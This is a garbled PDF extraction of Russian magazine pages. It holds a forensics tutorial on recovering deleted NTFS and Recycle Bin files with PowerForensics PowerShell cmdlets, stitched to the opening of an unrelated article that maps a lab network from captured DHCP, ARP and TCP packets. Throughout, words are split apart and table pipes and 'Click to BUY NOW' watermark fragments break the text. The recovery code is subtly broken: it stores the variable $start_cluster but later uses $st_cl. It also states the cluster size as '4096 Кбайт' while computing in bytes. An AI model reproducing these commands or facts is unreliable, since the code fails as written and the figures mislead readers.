Некото рые материалы , посвящен ные файловой системе NTFS v3.1, упомина ют о резидентных и нерезиден тных файлах . Резидентны ми файлами считают ся те, размер которых меньше или равен 720 байт (это количество байтов было получен о исключитель но опытным путем в NTFS v3.1 в Windows 10, хотя в других источниках читатель может найти иную информацию о максималь ном размере резидентно г о файла : он варьиру ется от 700 байт до 1 Кбайт). Такие файлы храня т все содержимое в $mft (Master File Table), и в этом случае флаг нерезиден тнос ти (Non-resident fag) у них равен 00h. Для нерезиден тных фай лов (строг о больше 720 байт) флаг Non-resident fag равен 01h.
На самом деле флаг резидентнос ти присущ каждому атрибуту файла в отдельнос ти (в том числе $FN, $SI и другим атрибутам ), а не самому файлу
как таковому . Несмотря на наличие такого флага у каждого атрибута , сущес твуют исключитель но резидентные атрибуты , которые храня т свои данные тольк о в файле $mft (например , $FILE_NAME, $STANDARD_INFO, $VOLUME_NAME). Есть атрибуты , которые могут быть как резидентны ми, так
инерезиден тными (это справед ливо по отношению к атрибутам $DATA, $EA
идругим ). Наконец, существу ют файловые атрибуты , которые храня т свои данные исключитель но за предела ми $mft, то есть являются строго нерези
дентны ми ($BITMAP, $REPARSE_POINT, $SECURITY_DESCRIPTOR и прочие ).
Время и атрибуты $STANDARD_INFO и $FILE_NAME
При создании файла на томе, перемещении между томами и практичес ки любых манипуляци ях с файлами (переиме нова ние , локальное перемещение , доступ внутри одног о тома, изменение ) у файла изменяют ся атрибуты $STANDARD_INFO (далее — $SI) и $FILE_NAME (далее — $FN). В них указано время , когда произош ло действие с файлом .
В следующих таблицах показано , какие атрибуты файлов $SI и $FN меня ются и при каких действи ях с файлом .
Изменение атрибута $FILE_NAME
Изменение атрибута $STANDARD_INFO
Здесь
•Modifcation — изменение атрибутов $Data и $INDEX;
•Accessed — обращение к содержимому файла ;
•Change (MFT) — запись в таблицу MFT (не отобража ется в Windows);
•BornTime или birthday of fle — создание файла .
Важно , что |
при |
удалении |
через |
del или erase |
|
атрибуты |
$FILE_NAME |
|||||||||||
и $STANDARD_INFO не изменяют |
ся . |
|
|
|
|
|
|
|
|
|
|
|||||||
Зная метки времени |
определен |
ных |
файлов |
и правила |
изменения |
атри |
||||||||||||
бутов, специалис |
т по рассле дова |
ни ю инциден тов способен |
выстро ить вер |
|||||||||||||||
ную хроноло |
ги ю событий. Время , в которое произош |
ли те или иные действия |
||||||||||||||||
с файлами |
, при проведе |
нии |
кримина |
лис тичес |
кого |
рассле дова |
ния |
может |
||||||||||
стать одним из важней ших |
артефак тов . |
|
|
|
|
|
|
|
|
|
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ВОССТАНАВЛИВАЕМ ФАЙЛЫ В NTFS С ИСПОЛЬЗОВАНИЕМ POWERSHELL
ВОССТАНОВЛЕНИЕ ФАЙЛОВ, УДАЛЕННЫХ С ИСПОЛЬЗОВАНИЕМ
DEL ИЛИ ERASE
Наста ло время приступить к практичес кой части , чтобы закрепить теорию и поупражнять ся в восста нов лении удален ных файлов . Но для начала следует выделить два способа удаления файлов в Windows:
•удаление c использовани ем системных утили т del (Shift-Del) или erase;
•удаление через корзину .
Такое разделение связано с разницей в механизме удаления и некоторым отличием при восста нов лении файлов .
|
Никог да не восста нав ливай |
удален ные |
файлы |
|||
|
на тот же том, с которого они были удалены |
. Луч |
||||
|
ше всего использовать |
отдельный |
носитель. |
|
В перву ю очередь разберем ся с восста нов лени ем нерезиден тных файлов , а дальше посмотрим , как восста нав ливать резидентные . Итак, практиковать ся мы будем с использовани ем PowerShell-модуля PowerForensics авторства Джареда Эткинсона . Этот модуль прост в установ ке и содержи т полезные командле ты для работы с файловыми системами NTFS и FAT. Он позволя ет работать с системны ми файлами Windows и парсить атрибуты файлов NTFS, конверти ровать метки времени из байтового представ ления в человекочи таемое (что необходимо в форензике ). Подробнее узнать о возможнос тях модуля можн о из его описания .
Для начала установим этот модуль (нужно запускать PowerShell от имени админис тра тора , посколь ку при чтении служеб ных файлов требуют ся при вилегии локальног о админис тра тора ):
Import-Module PowerForensics
Проверим , что все прошло успешно, для этого выполним командлет
Get-Command - Module PowerForensics
Установ ка модуля PowerForensics
Установ ка модуля завершена , теперь давай найдем все удален ные файлы на томе. В главной файловой таблице они имею т флаг удаления 00h по сме щению 16 байт от начала файловой записи.
Как уже было сказан о в теоретичес кой части , в Windows постоян но про исходя т изменения , какие то файлы удаляют ся , а какие то, наоборот , соз даются (например , начиная с Windows 8 количество файлов Prefetch огра ничено 1024, поэтому старые удаляют ся системой , а новые создают ся при запуске исполняемых файлов ).
Для чистоты эксперимен та создадим том F (запускаем diskmgmt.msc, затем сжимаем имеющий ся том и отдаем для нового 5 Гбайт с дефолтным размером кластера 4096 Кбайт). Поместим туда файл (в роли подопытного будет выступать калькулятор , но читатель может использовать любой другой файл) calc.exe и удалим его через erase (то же самое будет при удалении через del или Shift-Del).
Теперь для поиска удален ного файла на томе F восполь зуем ся командле том Get-ForensicsFileRecord и отфильтру ем вывод по флагу True для атрибута Deleted:
Get-ForensicFileRecord -VolumeName F: | Where-Object {$_.Deleted}
Получе ние удален ных файлов на томе F
Здесь мы видим основные файловые атрибуты и их значения , однако для вос станов ления нам потребу ется значение файловой записи RecordNumber. После того как файл будет найден , для дальнейших действий лучше поль зоваться номером файловой записи, так как имя файла может изменять ся в процес се удаления (далее мы разберем этот случай ). Имея номер фай ловой записи, мы сможем отыскать недостающие элемен ты, если файл нерезиден тный, и собрать его воедино по кусочкам , после чего записать содержимое в новый файл.
Для этог о запишем в переменну ю $file_record объек т файла со свой ствами (атрибута ми файла ):
$file_record = Get-ForensicFileRecord -VolumeName F: -Index 43
Теперь мы можем обратить ся к отдельному атрибуту и узнать интересу ющую нас информацию . Для восста новления нам нужно определить номер началь ного кластера и общее количество занимаемых файлом кластеров . Для этого в переменну ю $file_descriptor запишем содержимое атрибута $DATA:
$file_descriptor=$file_record.Attribute | Where-Object {$_.name -eq
'DATA'}`
После чего мы можем получить значения начального кластера и количества кластеров , которые занимае т наш файл. В переменную $start_cluster сох раним эти данные :
$start_cluster = $file_descriptor.DataRun | select *
На рисунке справа мы видим содержимое этой переменной в консоли PowerShell, а слева — атрибу т $Data с его полями для нашего удален ного файла .
Началь ный кластер и количество используемых кластеров
Теперь дело за малым: нужно записать содержимое по «адресу » выше (номер начальног о кластера и количество кластеров ) в восста нов ленный файл на томе.
Будем записывать на том С:, чтобы не затереть удален ные данные на томе F:. Можн о выполнить запись при помощи командле та Invoke-ForensicDD из модуля PowerForensics или использовать WriteAllBytes из библиоте ки
System.IO.File:
Invoke-ForensicDD -InFile \\.\F: -Offset ($st_cl.StartCluster*4096)
-BlockSize ($st_cl.ClusterLength*4096) -Count 1 -OutFile C:\calc.exe
Здесь мы указыва ем в параметре InFile том и расположе ние файла , который будет скопиро ван (в нашем случае это том F и расположе ние уда ленног о файла ). В качестве смещения на диске указыва ем адрес начального кластера , умножен ный на 4096, и количество кластеров , также умножен ных на 4096, ведь размер кластера на нашем томе равен 4096 Кбайт. После чего указыва ем количеств о файлов на диске и путь с именем файла , куда будет восста нов лен наш файл.
В результате мы получаем наш рабочий калькулятор в корне тома C:\ calc.exe.
Восста нов ление калькулято ра
Вот только есть одно но: несмотря на то что калькулятор запускает ся
иработае т без нареканий , хеш суммы оригиналь ного файла (до удаления )
ифайла после восста новления не бьются …
Причина тому — разница в размере файла после восста нов ления . Размер файла до удаления равен 27 648 байт, а после восста нов ления — 28 672 (что при делении на 4096 дает нам 7 — те самые семь кластеров в сумме ). То есть при восста нов лении мы заботливо дозаписали нулями 1024 байт, это нужно и важн о учитывать при получении оригиналь ного файла . Значения реального
размера файла (RealSize=27 648) и выделенног о под хранение файла прос транства (AllocationSize=28 672) хранят ся в атрибуте $DATA. Вся информация у нас на руках, давай наведем красоту . Для этого , прежде чем сохранить содержимое кластеров в файл, запишем массив байтов
в переменну ю $bytearray:
$bytearray = Invoke-ForensicDD -InFile \\.\F: -Offset ($st_cl.
StartCluster*4096) -BlockSize ($st_cl.ClusterLength*4096) -Count 1
После чего, используя функци ю WriteAllBytes системной библиоте ки System.IO.File, запишем содержимое в файл, указав верхн юю границу мас
сива для записи [0..($bytearray.Length - (1024 + 1))]:
[System.IO.File]::WriteAllBytes("C:\calc.exe",$bytearray[0..(
$bytearray.Length - (1024 + 1))])
Теперь посчита ем хеш суммы и сравним полученные значения .
Запись в файл
Как и ожидалось , хеш суммы бьются , значит , после восста новления содер жимое файла изменено не было. Если с восста новлением удален ных с использовани ем del (Shift-Del) или erase файлов все понятно , то что про исходи т в системе , когда ты перемещаешь файл в корзину ?
ВОССТАНОВЛЕНИЕ ФАЙЛОВ, УДАЛЕННЫХ ЧЕРЕЗ КОРЗИНУ
Сразу следуе т отметить , что перемещение файла в корзину не равно уда лению: файл удаляет ся после очистки корзины (хоть это и очевид но, тем не менее упомянуть об этом стоит ).
После перемещения файла в корзину в директории C:\$Recycle.Bin\< User’s SID>\ создает ся два файла c именами , которые начинаются с $I и $R и заканчива ются оригиналь ным расширени ем перемещен ного в корзину файла . Даже с отображени ем скрытых файлов в директории нам не удастся посмотреть на созданные после перемещения в корзину файлы . Чтобы до них добрать ся, содержимое директории C:\$Recycle.Bin\<User’s SID> \ нужн о переместить в специаль но созданну ю для исследова ния директорию (можн о восполь зоваться PowerShell-командле том Copy-Item). После переме щения нам стану т доступны следующие файлы :
1.$I<random>.original_extension (далее — $I) — файл с метадан
ными, создает ся, как только файл перемещает ся в корзину . Он исполь зуется для восста новления файла из корзины средства ми Microsoft, под робнее разбор файла будет приведен ниже.
2.$R<random>.original_extension (далее — $R) — файл, который соз
дается после перемещения в корзину . Это копия перемещен ного в кор зину файла , о чем говорят одинако вое содержимое и хеш суммы (если сравнить оригина л до удаления и перемещен ный файл). Изменяет ся толь ко имя файла .
После перемещения файла в корзину
Разбор содержимог о популярных файлов и файловых записей, а также струк тур таблиц MFT, MBR, GPT и файловых атрибутов встречает ся в публикаци ях на GitHub. Однак о мне не удалось найти описание файла $I с метаданными , поэтому давай вместе разберем ся , что полезного можно обнаружить в таком файле .
В роли подопытног о будет по прежнему выступать файл calc.exe. Переместим его копию в корзину , после чего скопиру ем все содержимое
из директории C:\$Recycle.Bin\<User’s SID>\* в папку для исследова ния. Ниже представ лен разбор всех полей файла $IOWX1VN.exe (был создан
при перемещении калькулято ра в корзину ).
Здесь:
•желтый цвет — File Header, заголовок файла $I;
•синий цвет — File Size (Bytes) — размер файла ;
•красный цвет — атрибу т $SI ChangedTime — время удаления , точнее , перемещения файла в корзину в формате UTC;
•бирюзо вый цвет — FileName Length — размер имени файла в байтах ;
•пурпурный цвет — File Path — полный путь до файла , который был удален (перемещен в корзину ).
Укаждог о пользовате ля своя $Recycle.Bin (корзина ). Более того, на каждом
томе такая корзина создает ся по умолчанию . Грубо говоря, корзина из тома С пробрасыва ется в том F и другие созданные тома. Поэтому перед именем удален ног о файла мы видим SID пользовате ля — зачастую это полезная информация о том, какой пользователь в системе переместил файл в корзину
и выполнил удаление . Например , для файла calc.exe полное имя файла будет выглядеть так:
F:\$RECYCLE.BIN\S-1-5-21-3457051395-4168275294-665325124-1000\
$ROWX1VN.exe
либо
F:\$RECYCLE.BIN\S-1-5-21-3457051395-4168275294-665325124-1000\
$IOWX1VN.exe
Кроме информации о том, кто удали л файл, мы получаем информацию о мет ках времени и о моменте , когда файл был перемещен в корзину . Также нам становит ся известен путь, по которому хранил ся файл до перемещения . Как изменяют ся метки времени , я расска зывал в теоретичес кой части .
Теперь давай поговорим о восста нов лении файла , который был удален через корзину . По алгорит му оно похоже на восста нов ление файлов , удален ных с помощью del или erase, посколь ку для файловой системы нет разницы между файлами , удален ными из корзины или какой либо другой директории . По сути, система удаляе т файлы так же, как при примене нии утили т del или erase, тольк о предваритель но переиме новав файлы в $R<random>. extension и $I<random>.extension — именн о такие записи хранят ся в глав ной файловой таблице $mft.
Вероят но, у читателя возник вполне логичный вопрос : какой из двух фай лов восста навливать — $I или $R? Ведь при очистке корзины удалят ся оба эти файла и их записи какое то время будут хранить ся в $mft (до перезаписи другими данными ).
Для восста нов ления удален ного файла нам нужны оба: и $R, и $I. Файл $R требует ся для восста нов ления содержимого , а файл $I — для получения ори гинальног о имени файла .
Единствен ный недостающий элемен т при восста новлении — оригиналь ное имя, которое можно отыскать только в файле $I. Но файл $I резиден тный, а это значит , что пришло время разобрать ся, как восста навливать резидентные файлы .
Для начала мы также найдем ID файловой записи для файла $I:
Get-ForensicFileRecord -VolumeName F:| where {$_.Deleted}
$file_record = Get-ForensicFileRecord -VolumeName F: -Index 44
После чего обратим ся к атрибуту $DATA по указан ному ID и запишем содер жимое атрибута в массив байтов :
$file_descriptor=$file_record.Attribute | Where-Object {$_.name -eq
'DATA'}
$Byte_Array = $file_descriptor.RawData
В $Byte_Array хранит ся содержимое резидентно го файла .
Структуру файла $I мы уже разобрали и помним , что байты с 0 до 26 отво дятся на файловый заголовок , размер файла в байтах , атрибу т $SI Changed Time и размер файловог о имени . А начиная с индекса 27 до конца файла хра нится полное имя файла (путь + имя). Зная эту информацию , мы можем получить недостающий элемен т для восста новления нашего калькулято ра.
Для этог о мы декодируем значения массива с индекса 27 до конца мас сива в UTF8 и восполь зуем ся командле том Split-Path, чтобы получить только имя файла :
$filename = Split-Path -Path ([System.Text.Encoding]::UTF8.GetString(
$Byte_Array[27..$Byte_Array.Length])) -Leaf
Все данные для восста новления нерезиден тного файла $ROWX1VN.exe у нас есть, и способ мы уже изучили , поэтому дело за малым. Готовый сценарий
для восста новления удален ных через корзину файлов можно найти на GitHub.
ВЫВОДЫ
Восста новление удален ных файлов — задача довольно кропот ливая и инте ресная . Хотя автомати зированных средств для этого предос таточно, лучше не доводить дело до потери данных . Чтобы обезопа сить себя от утраты цен ной информации , не забывай создавать бэкапы и хранить их по принципу 3-2- 1.
Думаю , что с полученными знаниями читателю не состави т труда раз работать собствен ную программу для автомати зации процес са восста нов ления. Ведь, как писал Крис в своей книге , «настоящий хакер сам разрабаты вает свой инстру ментарий».
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
АДМИН |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
|
|
|
|
|
e |
|
||||
|
p |
df |
-x |
|
|
g |
|
|
|
||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
|
|
e |
|
|||||
|
|
p |
df |
|
|
|
g |
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ВОССОЗДАЕМ СХЕМУ ПОДКЛЮЧЕНИЙ ИЗ ДАМПА ТРАФИКА
Изучение структуры сетевых протоко лов поможет тебе более глубоко понять прин цип их работы и функции . В этой статье мы проана лизи руем небольшой фрагмент сетевого трафика и зарисуем предполага емую схему сети, исходя из полученных данных .
Alexander Mikhailov mikhailov.alexander99@yandex.ru
Я сформирова |
л дамп сетевого трафика |
на своем лаборатор ном |
стенде |
||
с помощью фильтра захвата |
(Capture Filtering) в Wireshark с некоторыми |
усло |
|||
виями. Вот что из этого вышло . |
|
|
|
Мы будем раскры вать |
по порядку |
каждый |
захвачен |
ный |
пакет |
и |
искать |
||||||
в инкапсулиру |
емых |
данных |
интересу |
ющу ю нас информацию |
о |
схеме |
|||||||
исходной сети. Затем мы изобразим |
эту информацию |
графичес |
ки (для этого |
||||||||||
будем использовать |
ресурс diagrams.net). |
|
|
|
|
|
|
|
УЗНАЕМ КАНАЛЬНЫЕ И СЕТЕВЫЕ АДРЕСА ПЕРВЫХ УСТРОЙСТВ
Из первых четырех пакетов сразу видно , что некое устройство получае т IPадрес и другие сетевые параметры по DHCP. Раскры ваем первый пакет.
Сразу бросает ся в глаза MAC-адрес клиент ско го устройства . Сетевой адрес этог о девайса нам пока неизвестен , потому что он еще не получил его, а адреса назначения — широковеща тель ные .
Идем дальше . Возможно , ты обрати л внимание на IP-адрес 192.168.30.2 в разделе заголовка 50 DHCP. Это означает , что клиен т запрашива е т именно этот IP-адрес, так как ранее, возможно , он его уже получал. Но пока мы не станем отображать его на схеме и дождемся окончатель ного ответа от DHCP-сервера .
И последнее , что нам интерес но в этом пакете, — опция 12 DHCP. Здесь отобража ется имя устройства . Теперь перенесем полученные данные на схе му.
Следующий пакет DHCP Ofer — в ответе на сообщение клиента сервер пред лагае т возможные сетевые параметры .
Как мы видим, на запрос клиента ответи л DHCP-сервер с IP-адресом 192. 168.30.1 и MAC-адресом 00:19:56:bb:41:09. Он предложи л клиенту IPадрес 192.168.30.2 (кстати , тот, который клиен т и запрашивал , поле Your IP address) и маску сети 255.255.255.128. Отлично, дополним схему новыми данными .
Новые элемен ты я буду окрашивать в красный цвет для нагляднос ти .
MICROSOFT WINDOWS И CISCO IOS, ИЛИ ПРИ ЧЕМ ЗДЕСЬ TTL?
Сообще ние DHCP Request не несет в себе новой информации , кроме того, что в опции 55 клиен т запрашива е т дополнитель ные параметры у DHCP-сер вера: сетевую маску , адрес шлюза , сервер DNS и доменное имя.
Еще хочу обратить внимание на поле Time to Live заголовка IPv4 данного сообщения .
TTL — значение , которое определя ет время жизни пакета. Это значение дек рементиру ется на единицу каждый раз, когда пакет проходи т через маршру тизирующее устройств о по пути к месту назначения .
Дело в том, что по умолчани ю для разных операци онных систем типичны свои значения TTL.
Посколь ку в клиент ском сообщении DHCP Request TTL имее т значение 128, мы можем предположить , что это устройство под управлением ОС Windows.
Последнее сообщение , свидетель ству ющее об успешном окончании взаимо действия клиента и DHCP-сервера , — DHCP ACK.
Вэтом сообщении DHCP-сервер присваивае т клиенту :
•IP-адрес 192.168.30.2 (поле Your IP address);
•маску сети 255.255.255.128 (опция 1);
•шлюз 192.168.30.1 (опция 3);
•DNS 8.8.8.8 (опция 6).
Здесь также задаются времен ные интервалы аренды адреса , его продления
и запроса адреса от других локальных DHCP-серверов , в случае если преж ний сервер недоступен (опции 51, 58 и 59 соответс твен но ).
И напоследок глянем на TTL IP-пакета от DHCP-сервера .
Значение 255 указыва е т на Cisco IOS. Можно даже проверить произво дите ля устройства по MAC-адресу на онлайн сервисах , которых полно в интернете .
Получа ется , что в качестве DHCP-сервера в сети функци они руе т маршру тизатор Cisco. Исследовав четыре перехвачен ных пакета, можем пред положить следующу ю схему сети.
РАСКРЫВАЕМ ARP И TCP
Раскро ем пятый по очереди пакет (а точнее , кадр) ARP.
Здесь хост 192.168.30.2 с помощью широковеща тельной рассылки пыта ется выяснить MAC-адрес у хоста 192.168.30.48. Значение 1 в поле Opcode означает , что это именно запрос , а значение 2 — ответ. И если посмотреть
на полный скрин дампа в начале статьи, то мы не увидим там ответа на ARPзапрос . Поэтому существо вание хоста 192.168.30.48 ставит ся под вопрос .
Двигаем ся дальше и смотрим на пакеты 6 и 7. Они, в принципе , одинако вые .
Хост 192.168.20.27, не получив ответа , пытается повторно установить TCPсесси ю с веб сервером (о чем свидетель ству е т порт назначения 443), отправляя SYN-запросы . Отобразим на схеме веб сервер и хост под управлением Windows (посколь ку TTL = 128).
Продолжение статьи →